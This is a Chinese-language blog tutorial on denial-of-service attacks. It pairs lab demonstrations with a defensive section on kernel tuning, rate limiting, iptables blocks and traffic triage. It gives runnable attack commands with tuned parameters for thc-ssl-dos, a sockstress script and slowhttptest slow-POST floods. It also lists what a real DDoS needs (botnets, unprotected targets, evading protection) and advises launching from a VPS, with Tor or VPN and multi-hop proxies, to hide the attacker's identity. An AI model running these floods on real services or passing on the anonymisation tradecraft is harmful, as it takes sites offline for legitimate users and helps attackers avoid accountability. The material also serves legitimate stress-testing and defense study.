DoS/DDoS攻击技术详解：从TCP洪水到慢速攻击的完整实战

PyHaVolask2026-01-07 21:31

前言

拒绝服务攻击(DoS)和分布式拒绝服务攻击(DDoS)是网络安全领域最常见也最难防御的攻击手段之一。与传统的入侵攻击不同，DoS攻击的目标不是获取系统权限或窃取数据，而是让目标服务无法正常提供服务。本文将深入探讨多种DoS攻击技术，包括SSL洪水攻击、TCP连接耗尽攻击以及慢速HTTP攻击等。

重要提醒: 本文内容仅供授权安全测试和教育研究。未经授权对任何系统发起DoS攻击属于严重违法行为，可能面临刑事责任。

文章目录

  • 前言
  • 一、DoS与DDoS基础理论
    • [1.1 核心概念](#1.1 核心概念)
    • [1.2 攻击原理分类](#1.2 攻击原理分类)
    • [1.3 TCP三次握手原理](#1.3 TCP三次握手原理)
    • [1.4 当前防御现状](#1.4 当前防御现状)
  • 二、实验环境准备
    • [2.1 ParrotOS介绍](#2.1 ParrotOS介绍)
    • [2.2 实验环境配置](#2.2 实验环境配置)
  • 三、SSL/TLS洪水攻击
    • [3.1 攻击原理](#3.1 攻击原理)
    • [3.2 THC-SSL-DOS攻击](#3.2 THC-SSL-DOS攻击)
  • 四、TCP连接耗尽攻击
    • [4.1 SockStress攻击原理](#4.1 SockStress攻击原理)
    • [4.2 Python-SockStress工具](#4.2 Python-SockStress工具)
    • [4.3 故障排除](#4.3 故障排除)
  • [五、慢速HTTP攻击(Slow Attack)](#五、慢速HTTP攻击(Slow Attack))
    • [5.1 慢速攻击原理](#5.1 慢速攻击原理)
    • [5.2 SlowHTTPTest工具](#5.2 SlowHTTPTest工具)
    • [5.3 Slow POST攻击(RUDY)](#5.3 Slow POST攻击(RUDY))
    • [5.4 停止攻击](#5.4 停止攻击)
    • [5.5 查看工具帮助](#5.5 查看工具帮助)
  • 六、攻击效果分析
    • [6.1 不同攻击对比](#6.1 不同攻击对比)
    • [6.2 虚拟机测试的局限性](#6.2 虚拟机测试的局限性)
    • [6.3 实战效果要素](#6.3 实战效果要素)
  • 七、防御策略
    • [7.1 基础防护措施](#7.1 基础防护措施)
    • [7.2 专业防护方案](#7.2 专业防护方案)
    • [7.3 应急响应](#7.3 应急响应)
  • 八、法律与伦理
    • [8.1 法律风险](#8.1 法律风险)
    • [8.2 伦理考量](#8.2 伦理考量)
    • [8.3 使用VPS作为主控台](#8.3 使用VPS作为主控台)
  • 九、学习建议
    • [9.1 实验环境搭建](#9.1 实验环境搭建)
    • [9.2 学习路径](#9.2 学习路径)
    • [9.3 职业方向](#9.3 职业方向)
  • 总结

一、DoS与DDoS基础理论

1.1 核心概念

DoS (Denial of Service - 拒绝服务攻击)

  • 单一攻击源对目标发起攻击
  • 通过消耗目标资源使其无法响应合法请求
  • 攻击源容易被识别和封禁

DDoS (Distributed Denial of Service - 分布式拒绝服务攻击)

  • 利用大量被控制的"肉鸡"(僵尸主机)同时发起攻击
  • 攻击流量来自全球各地，难以追踪和封禁
  • 攻击效果远超单机DoS

1.2 攻击原理分类

资源耗尽型:

  • 带宽耗尽: 发送大量数据包占满网络带宽
  • 连接耗尽: 建立大量连接消耗服务器连接池
  • CPU耗尽: 触发复杂计算消耗处理器资源
  • 内存耗尽: 创建大量对象占满内存

协议漏洞型:

  • TCP三次握手漏洞: SYN Flood攻击
  • HTTP协议特性: 慢速攻击(Slowloris)
  • SSL/TLS握手: SSL Renegotiation攻击
  • DNS放大: 利用DNS响应放大攻击流量

1.3 TCP三次握手原理

理解TCP三次握手是掌握DoS攻击的基础：

复制代码 
客户端                    服务器
  |                         |
  |----SYN (seq=x)--------->| 1. 客户端发送连接请求
  |                         |
  |<---SYN-ACK (seq=y)------| 2. 服务器响应并分配资源
  |    (ack=x+1)            |
  |                         |
  |----ACK (ack=y+1)------->| 3. 客户端确认,连接建立
  |                         |

DoS攻击利用点:

  • 服务器在第2步后会分配资源等待第3步
  • 如果第3步不到达，资源会被占用直到超时
  • 大量半开连接会耗尽服务器的连接队列

1.4 当前防御现状

DDoS攻击目前无完美解决方案

防御主要依靠:

  1. 大带宽: 云服务商提供海量带宽
  2. CDN: 内容分发网络分散流量
  3. 清洗中心: 专业DDoS防护服务
  4. 高防IP: 具备流量清洗能力的IP
  5. 流量限制: 智能识别和阻断异常流量

成本考量:

  • 小型网站防御成本高昂
  • 大公司"用钱砸"解决问题
  • 攻防是经济对抗战

CDN的影响:

如果目标网站使用CDN，攻击打到的是CDN节点而非源服务器，效果会大打折扣。

二、实验环境准备

2.1 ParrotOS介绍

ParrotOS vs Kali Linux

特性 ParrotOS Kali Linux
工具完整性 ★★★★★ ★★★★★
系统轻量化 ★★★★★ ★★★☆☆
隐私保护 ★★★★★ ★★★☆☆
开发工具 ★★★★★ ★★★★☆
官方维护 社区主导 Offensive

ParrotOS优势:

  • 基于Debian，比Kali更轻量
  • 包含Kali的大部分工具
  • 额外包含隐私保护和开发工具
  • 不包含Metasploit(需单独安装)
  • 适合日常使用和渗透测试

推荐版本:

  • Parrot Security: 完整安全版
  • Parrot Home: 日常使用版

2.2 实验环境配置

基础环境:

  • 攻击机: ParrotOS或Kali Linux
  • 目标机: Windows 10 (192.168.87.150)
  • Web服务: Apache/IIS (80/443端口)
  • 网络: 同一局域网

准备工作:

  1. 确认连通性
bash 复制代码 
ifconfig  # 查看攻击机IP
ping 192.168.87.150 -c 4  # 测试连通性
  1. 搭建测试Web服务

在目标Windows上启动Web服务(如PHPStudy)，创建简单页面:

html 复制代码 
<!DOCTYPE html>
<html>
<head>
    <title>测试页面</title>
</head>
<body>
    <h1>正常访问</h1>
</body>
</html>
  1. 打开资源监控

在目标Windows上:

  • 任务管理器 → 性能 → 监控CPU和网络
  • CMD运行: netstat -ano 查看连接状态

三、SSL/TLS洪水攻击

3.1 攻击原理

SSL握手的不对称性:

复制代码 
客户端                           服务器
  |                                |
  |--ClientHello------------------>| 1. 客户端发起(消耗低)
  |                                |
  |<-ServerHello,Certificate-------| 2. 服务器计算密钥(消耗高)
  |  ServerKeyExchange             |    - RSA解密
  |  ServerHelloDone               |    - 生成会话密钥
  |                                |
  |--ClientKeyExchange------------>| 3. 继续握手
  |  ChangeCipherSpec              |
  |  Finished                      |
  |                                |
  |<-ChangeCipherSpec--------------| 4. 完成握手
  |  Finished                      |

攻击要点:

  • 服务器处理每个SSL请求需要大量CPU资源
  • 客户端发起请求几乎不消耗资源
  • 1台客户端可以让服务器处理300次复杂计算
  • 普通带宽即可打垮高性能服务器

3.2 THC-SSL-DOS攻击

工具安装:

bash 复制代码 
apt-get update
apt-get install thc-ssl-dos

攻击命令:

bash 复制代码 
thc-ssl-dos [目标IP] [SSL端口:443] --accept

完整示例:

bash 复制代码 
# 攻击目标HTTPS网站
thc-ssl-dos 192.168.87.150 443 --accept

参数说明:

  • 目标IP: 要攻击的服务器地址
  • 443: HTTPS的默认SSL/TLS端口
  • --accept: 接受所有SSL证书(包括自签名)

效果观察:

  • 目标服务器CPU使用率飙升至100%
  • HTTPS服务响应缓慢或完全无响应
  • 合法用户无法访问网站
  • HTTP(80端口)可能仍然可访问

局限性:

  • 仅对HTTPS有效: HTTP服务不受影响
  • 内网测试效果有限: 虚拟机之间资源共享
  • CDN可能防护: 攻击会打到CDN节点

四、TCP连接耗尽攻击

4.1 SockStress攻击原理

攻击机制:

利用TCP状态机的特性，创建大量半开或保持状态的连接，耗尽服务器的:

  • 连接队列(backlog)
  • 文件描述符
  • 内存资源

与SYN Flood的区别:

  • SYN Flood: 只发SYN，不完成握手
  • SockStress: 完成握手但保持连接，不发送数据

4.2 Python-SockStress工具

环境准备:

bash 复制代码 
# 安装依赖
apt install python-scapy   # Python 2版本
apt install python3-scapy  # Python 3版本

获取工具:

bash 复制代码 
# 从GitHub下载
cd /root
git clone https://github.com/defuse/sockstress.git Python-SockStress-master
cd Python-SockStress-master

查看工具内容:

bash 复制代码 
ls -la
# 主要文件:
# sock_stress.py - 主攻击脚本
# README.md - 说明文档

执行攻击:

bash 复制代码 
# 方法1: 直接执行
./sock_stress.py 192.168.87.150 80 20

# 方法2: 指定Python版本
python2.7 sock_stress.py 192.168.87.150 80 20

参数解析:

  • 192.168.87.150: 目标IP
  • 80: 目标端口(HTTP)
  • 20: 并发线程数(可调整)

攻击效果:

bash 复制代码 
# 在目标机器查看连接状态
netstat -ano | findstr :80

# 观察现象:
# - 大量ESTABLISHED状态连接
# - 来自攻击机IP的连接数量激增
# - 正常用户连接超时

4.3 故障排除

常见问题:

  1. 缺少Scapy库
bash 复制代码 
# 错误信息: No module named scapy
# 解决方法:
apt install python-scapy python3-scapy
  1. 权限不足
bash 复制代码 
# 错误信息: Permission denied
# 解决方法:
sudo python2.7 sock_stress.py [IP] [PORT] [THREADS]
  1. 工具版本过旧
  • 部分工具需要Python 2环境
  • 某些依赖库可能需要手动安装

五、慢速HTTP攻击(Slow Attack)

5.1 慢速攻击原理

HTTP协议特性:

  • 服务器等待接收完整HTTP请求后才开始处理
  • 如果客户端发送不完整请求且速度极慢
  • 服务器会一直等待直到超时
  • 大量这样的慢速连接会耗尽并发连接池

攻击效果:

  • 不需要大带宽
  • 普通家庭网络即可实施
  • 对Apache、Tomcat等服务器特别有效
  • 类似HTTP层的SYN Flood

攻击类型:

  1. Slowloris: 慢速发送HTTP头
  2. Slow HTTP POST (RUDY): 慢速发送POST数据
  3. Slow Read: 慢速读取响应数据

5.2 SlowHTTPTest工具

安装步骤:

bash 复制代码 
# 安装依赖
apt-get install openssl
apt-get install libssl-dev

# 安装工具
apt-get install slowhttptest

验证安装:

bash 复制代码 
slowhttptest -h  # 查看帮助信息

5.3 Slow POST攻击(RUDY)

攻击命令:

bash 复制代码 
slowhttptest -c 2000 -B -g -o body_states -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.87.150 -x 10 -p 3

参数详解:

参数 说明 推荐值
-c 2000 并发连接数 1000-5000
-B 使用POST方法 必需
-g 生成统计数据 可选
-o body_states 输出文件名 自定义
-i 110 发送间隔(秒) 100-200
-r 200 每秒连接速率 100-500
-s 8192 Content-Length大小 4096-65535
-t FAKEVERB 自定义HTTP方法 GET/POST/FAKEVERB
-u URL 目标URL 必需
-x 10 最大数据长度 10-100
-p 3 等待时间(秒) 2-5

攻击流程:

  1. 建立连接: 向目标发起HTTP POST请求
  2. 声明大小: 设置Content-Length: 8192
  3. 慢速发送: 每110秒发送10字节数据
  4. 保持连接: 服务器一直等待完整数据
  5. 耗尽资源: 2000个连接占满服务器

效果监控:

在目标服务器:

cmd 复制代码 
# 查看连接状态
netstat -ano | findstr :80

# 观察现象:
# - 大量ESTABLISHED连接
# - 连接持续时间很长
# - 端口数量接近上限

攻击效果:

  • 网站加载极慢或完全无法访问
  • CPU和内存消耗相对较低(与带宽攻击不同)
  • 正常用户无法建立新连接
  • 可持续攻击直到服务器重启或手动清理

5.4 停止攻击

bash 复制代码 
# 按Ctrl+C停止
^C

# 或者关闭终端

5.5 查看工具帮助

bash 复制代码 
slowhttptest -h

重要参数说明:

复制代码 
-H: Slowloris模式(慢速头)
-B: Slow POST模式(慢速体)
-R: Range攻击模式
-X: Slow Read模式

-c: 并发连接数
-i: 数据发送间隔
-l: 攻击持续时间
-r: 每秒连接速率
-s: Content-Length大小
-u: 目标URL

六、攻击效果分析

6.1 不同攻击对比

攻击类型 带宽消耗 CPU消耗 连接数 隐蔽性 防御难度
UDP Flood 极高 低 无状态 低 中
SYN Flood 中 中 大量半开 中 中
SSL-DOS 低 极高 中 中 高
SockStress 低 低 大量保持 高 高
Slow Attack 极低 极低 中等保持 极高 极高

6.2 虚拟机测试的局限性

为什么虚拟机测试效果不明显?

  1. 资源共享: 虚拟机共享宿主机的CPU和内存
  2. 网络环境: 虚拟网络延迟极低，无法模拟真实网络
  3. 规模限制: 单机无法模拟DDoS的分布式特性
  4. 防护缺失: 虚拟环境通常没有防护设备

真实场景差异:

  • 外网环境中，肉鸡数量决定攻击效果
  • 大规模DDoS可以打垮任何未防护的服务器
  • 带宽、连接数、计算资源都会成为瓶颈

6.3 实战效果要素

成功实施DDoS需要:

  1. 足够的肉鸡:

    • 数量: 几百到几十万不等
    • 分布: 全球各地，避免单一来源
    • 带宽: 每台肉鸡带宽累加

  2. 合适的目标:

    • 无CDN保护
    • 无专业DDoS防护
    • 带宽和连接数有限

  3. 正确的策略:

    • 选择目标的薄弱环节
    • 混合使用多种攻击方式
    • 避免触发自动防护

七、防御策略

7.1 基础防护措施

服务器配置优化:

bash 复制代码 
# Linux内核参数调优
# 编辑 /etc/sysctl.conf

# 增加SYN队列长度
net.ipv4.tcp_max_syn_backlog = 4096

# 启用SYN Cookies
net.ipv4.tcp_syncookies = 1

# 减少SYN-ACK重试次数
net.ipv4.tcp_synack_retries = 2

# 缩短TIME_WAIT超时时间
net.ipv4.tcp_fin_timeout = 30

# 应用配置
sysctl -p

Web服务器配置:

Apache限制:

apache 复制代码 
# 限制每个IP的并发连接
<IfModule mod_evasive.c>
    DOSHashTableSize 3097
    DOSPageCount 5
    DOSSiteCount 100
    DOSPageInterval 1
    DOSSiteInterval 1
    DOSBlockingPeriod 10
</IfModule>

Nginx限制:

nginx 复制代码 
# 限制请求速率
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;

# 应用限制
location / {
    limit_req zone=one burst=20;
}

7.2 专业防护方案

1. CDN + DDoS清洗

  • 隐藏源站IP
  • 分散攻击流量
  • 智能流量清洗

2. 高防IP

  • 专业清洗中心
  • 海量带宽储备
  • 实时流量分析

3. 云防护服务

  • AWS Shield
  • Cloudflare DDoS Protection
  • 阿里云DDoS高防

4. 硬件防护设备

  • 防火墙过滤
  • 流量清洗设备
  • 入侵防御系统(IPS)

7.3 应急响应

检测异常流量:

bash 复制代码 
# 查看连接状态统计
netstat -nat | awk '{print $6}' | sort | uniq -c | sort -rn

# 查看连接最多的IP
netstat -nat | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

# 实时监控新建连接
watch -n 1 'netstat -nat | grep :80 | wc -l'

临时封禁措施:

bash 复制代码 
# 封禁单个IP
iptables -A INPUT -s [攻击IP] -j DROP

# 封禁IP段
iptables -A INPUT -s 192.168.1.0/24 -j DROP

# 限制连接速率
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP

八、法律与伦理

8.1 法律风险

DoS/DDoS攻击的法律定性:

  • 《刑法》第286条: 破坏计算机信息系统罪
  • 最高刑期: 15年有期徒刑
  • 附加处罚: 罚金、赔偿损失

真实案例:

  • 2016年Mirai僵尸网络案: 主犯判刑2.5年
  • 多起"黑客"攻击赌博网站被捕案例
  • 即使攻击非法网站，攻击行为本身仍违法

8.2 伦理考量

不应该进行的攻击:

  • 未经授权的任何真实系统
  • 教育、医疗、政府等关键基础设施
  • 商业竞争对手的网站
  • 个人报复性攻击

合法测试场景:

  • 企业授权的压力测试
  • 自己搭建的测试环境
  • 在线靶场平台(如HackTheBox)
  • 安全产品开发测试

8.3 使用VPS作为主控台

为什么需要VPS?

  1. 隔离真实身份: 避免直接从个人电脑发起攻击
  2. 提高带宽: VPS通常有更大带宽
  3. 分散风险: 即使被溯源也不直接指向个人
  4. 多层跳板: 可以构建多级代理

注意事项:

  • VPS供应商会记录日志
  • 支付信息可能泄露身份
  • 使用Tor、VPN等匿名技术
  • 即使有保护措施，专业溯源仍能找到真实攻击者

九、学习建议

9.1 实验环境搭建

推荐配置:

复制代码 
攻击机: ParrotOS (2核4G内存)
目标机: Windows Server 2019 (2核2G内存)
Web服务: Apache 2.4 / Nginx
网络: 独立虚拟网络(避免影响宿主机)

靶场推荐:

  • DVWA: Web应用漏洞靶场
  • VulnHub: 各种漏洞虚拟机
  • HackTheBox: 在线渗透测试平台
  • TryHackMe: 适合初学者的在线平台

9.2 学习路径

基础阶段(1-2个月):

  • 理解TCP/IP协议栈
  • 学习网络抓包分析(Wireshark)
  • 掌握Linux基础命令

进阶阶段(3-6个月):

  • 深入研究各类DoS攻击原理
  • 学习防御技术和检测方法
  • 实践流量分析和应急响应

高级阶段(6个月以上):

  • 研究最新DDoS技术(如HTTP/2 Flood)
  • 学习僵尸网络构建原理
  • 掌握企业级防护方案

9.3 职业方向

安全测试:

  • 压力测试工程师
  • 红队成员
  • 安全研究员

防御运维:

  • DDoS防护工程师
  • 网络安全架构师
  • SOC分析师

产品开发:

  • 安全产品开发
  • 流量清洗系统
  • 威胁情报分析

总结

本文系统介绍了DoS/DDoS攻击的基础理论和实战技术，涵盖SSL洪水攻击、TCP连接耗尽攻击和慢速HTTP攻击三大类型。每种攻击都有其独特的原理和适用场景，防御难度也各不相同。

核心要点:

  1. DDoS攻击目前无完美解决方案 - 防御主要靠资金投入
  2. 慢速攻击最难防御 - 低带宽高效果，隐蔽性强
  3. 虚拟机测试有局限 - 真实效果需要外网环境
  4. CDN可有效防护 - 但增加了运营成本
  5. 攻击属于违法行为 - 即使目标是非法网站

安全意识:

  • 理解攻击原理是为了更好防御
  • 任何未授权攻击都是违法的
  • 合法测试必须有书面授权
  • 学习技术要有正确的价值观

下一篇文章将继续深入探讨Slowloris攻击的详细机制以及其他高级DoS技术，敬请期待。

免责声明: 本文技术内容仅供授权安全测试、教育研究和防御体系建设使用。未经授权对任何系统发起DoS/DDoS攻击属于严重违法行为，可能面临刑事责任和高额赔偿。请在合法合规的前提下学习和使用相关技术。

相关推荐
王火火（DDoS CC防护）18 天前
多域名业务如何做好DDoS安全防护？
安全·ddos防御·ddos攻击
蜂蜜黄油呀土豆20 天前
计算机网络中的常见网络攻击及防范措施
计算机网络·网络安全·sql注入·dns劫持·xss攻击·csrf攻击·ddos攻击
王火火（DDoS CC防护）2 个月前
服务器隐藏源IP要如何操作呢？
服务器·ddos攻击
王火火（DDoS CC防护）3 个月前
游戏盾是如何保障游戏安全稳定的？
游戏·网络安全·ddos攻击·sdk游戏盾
王火火（DDoS CC防护）3 个月前
如何判断服务器是否遭受攻击？
服务器·web安全·网络安全·ddos攻击
王火火（DDoS CC防护）5 个月前
服务器IP暴露被攻击了怎么办？
服务器·网络安全·ddos攻击
王火火（DDoS CC防护）6 个月前
DDoS安全防护是什么？六点讲透
网络安全·ddos防御·ddos攻击
2301_780789669 个月前
DDoS防御发展史
web安全·网络安全·ddos攻击
wanhengwangluo1 年前
DDOS攻击会对网站服务器造成哪些影响？
网络攻击·ddos攻击
热门推荐
01GitHub 镜像站点02OpenCode 入门教程：介绍 · 安装 · 配置第三方 API (如 Claude)03Clawdbot 中文汉化版 接入微信、飞书04一种新的LCA算法05【网络安全测试】Burp Suite工具使用说明、配置及常见问题（有关必回）06Claude Code Skills 实用使用手册07在Trae中使用Pencil MCP08零门槛部署本地 AI 助手：Clawdbot/Meltbot 部署深度保姆级教程09UV安装并设置国内源10struts2 XML外部实体注入漏洞复现（CVE-2025-68493）